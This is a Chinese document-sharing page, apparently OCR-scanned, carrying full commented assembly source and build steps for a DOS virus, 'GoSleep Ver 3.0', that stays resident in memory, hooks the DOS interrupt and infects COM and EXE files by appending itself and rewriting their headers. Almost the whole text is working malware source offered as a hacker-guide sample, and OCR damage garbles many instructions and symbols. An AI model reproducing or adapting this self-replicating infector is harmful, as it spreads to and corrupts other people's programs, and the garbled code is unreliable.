还剩4页未读,继续阅读
文本内容:
=》编写感染与文件的病毒的样※黑客攻防指南※=>病毒信息COM EXE例程序编写感染COM与EXE文件的病毒的样例程序;此程序是d由vO病毒改装升级而来;在DOS下才有一定的传染能力;此程序部份应用了32位编程;制作方法如下;tasm32dvl;;tlink dvl;;Debug dvl.exe;-n dvl.com;-w;-q;最后生成dvl.com病毒程序OFF equOffsetDosMcb Struc;Dos内存控制链结构(部份)Flag db;是^1则不是最后一块;是‘Z则是最后一块Owner dw;是008:则是系统所有;是0则为未使用内存块Sizes dw;本块大小,按节计算(1节=10h字节)DosMcb EndsExeHeaderStruc;Exe文件头结构Flags dwZM;Exe文件标志ModSize dw;Exe文件最后一页字节数Pages dw;Exe文件页数(1页为512字节)Reloc dw;Exe文件从定位项数MeSize dw;本文头节数MinMem dw;该程序所须最小内存(节)MaxMem dw;该程序所须最大内存(节)StartSs dw;程序Sp初值StartSp dw;程序相对Ss初值Checksum dw;文件头检查和Startip dw;程序Ip初值StartCs dw;程序相对Cs初值RelocOff dw;从定位信息偏移ExeHeader EndsVirusSize=OFF@@End-OFF@@Start;(病毒大小)VirusMemSize=OFF@@MemEnd-0FF@@Start;(病毒需要的内存大小).
386.modelsmall.codeorg lOOh;按COM格式编写@@Start:;病毒引导块pusha;保存所有通用寄存器mov ax,4d4dhint21h;是否已经驻留内存(自定义中断)cmp ax,4d4dhjz short@@Exec01dApp;否,调用安装模块call©©Install@@Exec01dApp:mov ah,2chint21h;得到系统时间cmp ex,22*100h+30;(Cmp时间2230)jb short@@TestFlag;不到2230不调用显示消息call@@DisplayMsg;调用表现块@@TestFlag:clc;预设为Clc指令,表示是Com文件(若在传染时被改成Stc则是Exe文件)jcshort@@IsExeApp@@IsComApp:call@@Get01dComAppCodeOldAppCode dw20cdh;20cdh恰是Int20h指令,用以返回Dosdw OOOOh;这里为保存原COM文件头部4字节信息@@Get01dComAppCode:pop si;得到OldAppCode的地址mov di,lOOhcldlodsdstosd;恢复原COM头部4字节popa;恢复所有通用寄器push wordptr lOOhret;去执行原COM程序@@IsExeApp:popa;恢复所有通用寄器cli;改变堆栈指针时要关闭中断mov sp,es;得到Psp(Sp=PSP段址)add sp,lOhSpAddData dw0c481h;0bch是add sp,xxxx指令OldAppSs dwOOOh;原Exe文件Ss相对值mov ss,sp;计算出原程序堆栈并恢复MoveDataToSp dbObch;0bch是mov sp,xxxx指令OldAppSp dwOOOh;原Exe文件Sp值sti;从新开启中断push axmov ax,es;得到Psp(Ax=PSP段址)add ax,lOhAxAddData db005h;05h是add ax,xxxx指令,计算原程序Cs值OldAppCs dwOOOh;原Exe文件Cs相对值movzx esp,sp;转化为32位[esp]式堆栈寻址xchg ax,[esp];恢复ax,而不能用xchg ax,[sp]”16位不支持[sp]式堆栈寻址PushWordData db068h;068h是push wordptr xxxx指令OldAppIp dwOOOh;原Exe文件Ip值retf;去执行原Exe程序©©Install:pushdspush es;保存段寄存器mov ax,dsdec ax;得到自己的MCB结构段址,它在程序的PSP前@@ContFindLastMcb:mov ds,axcmp ds:[Flag],Z;是最后一块吗jz short@@FoundLastMcbadd ax,ds:[Sizes]inc ax;计算下一个MCB的段址二本块段址+本块大小+1jmp short@@ContFindLastMcb@@FoundLastMcb:sub ds:[Sizes],(VirusMemSize/10h)+l;把最后一块大小减去病毒所须内存大小(节数)add ax,ds:[Sizes]inc ax;计算出病毒在高端RAM的地址(即在最后一块划出的空间段址)mov es,axxor di,di push cspop ds;复位数据段call@@GetVirusBase@@GetVirusBase:pop sisubsi,OFF@@GetVirusBase-OFF@@Start;得到病毒首址mov ex,VirusSize eldrepmovsb;把病毒搬运到高端地址sub ax,lOh;计算出高端病毒的段地址(为使病毒偏移对齐,所以减去10h)mov ds,ax@@ContInstall:mov ax,3521hint21h;取Int21h的中断向量,并保存mov ds:01dInt21Seg,esmov ds:OldInt21Off,bxlea dx,@@Newlnt21mov ax,2521hint21h;设新的Int21h处理程序到@@NewInt21处pop espop dsret@@NewInt21:;新Int21h服务程序(传染块)cmp ax,4d4dhjnz short@@NextHookiret;是自定义中断,直接返回@@NextHook:cmp ah,4bhjz short@@MyBeComcmp ah,43hjz short@@MyBeComcmp ah,3dhjz short@@MyBeCom;截获4b,43,3d号Dos功能@@Jmp01dInt21:cli;进入Int21h前,需要关中断!JmpFar dbOeah;远跳转指令jmp xxxx:xxxx01dInt210ff dw01dInt21Seg dw@@CallInt21:;摹拟Int21h指令pushfpush cscall@@Jmp01dInt21ret@@MyBeCom:;入口参数ds:dx二以零结尾的Com文件名字符串pushapush dsmovsi,dxxor al,al@@ContFindExtName:;找扩展名inc sicmp[si],aljnz short@@ContFindExtNamemov eax,[si-4]or eax,20222022h;转化为小写字母cmp eax,moc・com文件吗jz short@@IsComFilecmp eax,exe.;是.3乂6文件吗?jz short@@IsExeFile@@ExitOpt:pop dspopajmp short@@Jmp01dInt21@@IsComFile:mov ax,3d02hcall@@CallInt21;3dh,打开COM文件jc short@@OptComFalse;失败mov bx,axpush cspop ds;复位数据段mov ds:byte ptr[@@TestFlag],0f8h;设为Clc指令,表示传染的是Com文件leadx,OldAppCode mov ex,4mov ah,3fhint21h;读文件首部4字节jc short@@CloseComFile movsi,dxemp wordptr[si],ZM;是否是EXE文件(是否是Com文件不能仅由扩展名判断)jz short@@CloseComFile;是就不感染emp byte ptr[si+3],V;是否有已感染病毒标志jz short@@CloseComFile;是则说明该程序已经被感染了mov ax,4202hxor ex,exxor dx,dxint21h;将文件指针移到文件尾,返回dx:ax二文件长度or dx,dxjnz short@@CloseComFile;文件太大不感染mov dx,axadd ax,VirusSizejc short@@CloseConiFile;文件太大不感染emp ax,OfdOOhja short@@CloseComFile;文件太大不感染sub dx,03;计算出Jmp Virus的偏移量mov ds:JmpOffset,dxlea dx,@@Startmov ex,VirusSizemov ah,40hint21h;将病毒写到文件尾部mov ax,4200hxor ex,exxor dx,dxint21h;把文件指针移到文件首mov ex,04hlea dx,@@JmpVirusmov ah,40hint21h;写Jmp Virus与病毒Flag4字节到文件首部@@CloseComFile:mov ah,3ehint21h;关闭文件@@OptComFalse:jmpshort@@ExitOpt@@IsExeFile:mov ax,3d02hcall@@CallInt21;3dh,打开Exe文件jc@@OptExeFalse;失败mov bx,ax pushcspopds;复位数据段mov ds:byteptr[@@TestFlag],0f9h;设为Stc指令,表示传染的是Exe文件leadx,MyExeHeader movex,size ExeHeadermov ah,3fh int21h;读文件首部4字节jc@@CloseExeFile empax,ex jb@@CloseExeFile movsi,dxemp wordptr[si.Flags],ZM;是否是EXE文件是否是EXE文件不能仅由扩展名判断jnz@@CloseExeFile;不是就不感染emp[si.Checksum],VV;是否有已感染病毒标志jz@@CloseExeFile;是则说明该程序已经被感染了mov ax,4202h xorex,ex xordx,dxint21h;将文件指针移到文件尾,返回dx:ax二文件长度emp dx,8hja short@@CloseExeFile;文件太大,可能是Windows应用程序shl edx,16mov dx,ax pushedx;保存文件大小shr edx,4sub dx,[si.MeSize];计算病毒在该Exe程序中新的相对Cs andax,Ofh;计算病毒在该Exe程序中新的Ip值0=Ip10h movex,dx;cx=dx二新的相对Cs值xchg[si.StartCs],dxmov ds:[OldAppCs],dx;修改相对Cs值,保存原相对Cs值xchg[si.StartSs],exmov ds:[OldAppSs],ex;修改相对Ss值,保存原相对Ss值xchg[si.Startip],axmov ds:[OldAppIp],ax;修改Ip值,保存原Ip值xor ax,axxchg[si.StartSp],ax;修改Sp值,保存原Sp值mov ds:[OldAppSp],axmov[si.Checksum],VV;设置传染标志pop edx;弹出文件大小mov ecx,VirusSizeadd edx,ecx;计算感染后文件的大小mov ax,dxand ax,Iffh;计算感染后文件的ModSizemov[si.ModSize],axadd edx,Iffhshr edx,9;计算感染后文件的Pagesmov[si.Pages],dxlea dx,@@Startmov ah,40hint21h;将病毒写到文件尾部movax,4200hxor ex,ex xordx,dxint21h;把文件指针移到文件首movex,size ExeHeaderlea dx,MyExeHeader mov ah,40hint21h;写文件头到文件首部@@CloseExeFile:movah,3ehint21h;关闭文件@@OptExeFalse:jmp@@ExitOpt@@JmpVirus:JumpNear db0e9h;近转移指令Jmp nearxxxx JmpOffsetdw VirusFlagdb5V,;病毒标志为‘V’字符@@DisplayMsg:pop dxpush dxadddx,OFF鲍Message-OFF@@TestFlag;计算@@皿5$@82的偏移量push dspushcspopds movah,09hint21h;显示信息,“夜已深,你该睡觉了!”popdsret©©Message:db Oah,Odh,07h dbNight isdeep,you mustgo sleep!’db Oah,Odh,$db GoSleep Ver
3.0by Whg
2001.
5.2,@@End:MyExeHeader dbsize Exelleaderdup@@MemEnd:end@@Start。
个人认证
优秀文档
获得点赞 0